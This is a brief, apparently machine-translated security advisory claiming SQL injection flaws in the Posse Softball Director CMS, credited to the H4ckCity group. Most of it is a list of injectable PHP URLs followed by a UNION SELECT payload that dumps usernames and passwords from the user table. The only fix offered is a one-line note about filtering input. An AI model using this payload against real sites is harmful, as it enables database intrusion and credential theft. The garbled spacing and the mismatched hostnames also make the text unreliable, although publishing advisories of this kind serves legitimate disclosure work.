Posse Softball Director cms SQL Injection defects and repair

Title: Posse Sports SQL Injection Vulnerabilitiy
Prepared by: H4ckCity Security Team farbodmahini www.2cto.com WwW. H4ckCity. Org
Program address: www.possesports.com
All versions affected
Test Platform: GNU/Linux Ubuntu-Windows Server-win7
######################################## ####################################
Example
# Http://www.bkjia.com/newsdetail. php? News_id = [SQL]
# Http://www.bkjia.com/dirdetails. php? Iddirector = [SQL]
# Http://www.bkjia.com/tdetails. php? Idtourn = [SQL]
# Http://www.bkjia.com/tresults. php? Tourn_id = [SQL]
# Http://www.bkjia.com/tournsearch. php? Idclass = [SQL]
# Http://www.bkjia.com/fieldinfo. php? Idfield = [SQL]
# The http://www.bkjia.com/page. php? Id = [SQL *]
#
# [~] SQL *:
#
#-9999 + union + select +, group_concat (id, 0x3a, username, 0x3a, password) + from + user
 
Solution
 
Filter parameter input on the above page
# Thank you
 
: Mehdi. H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R-
# IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...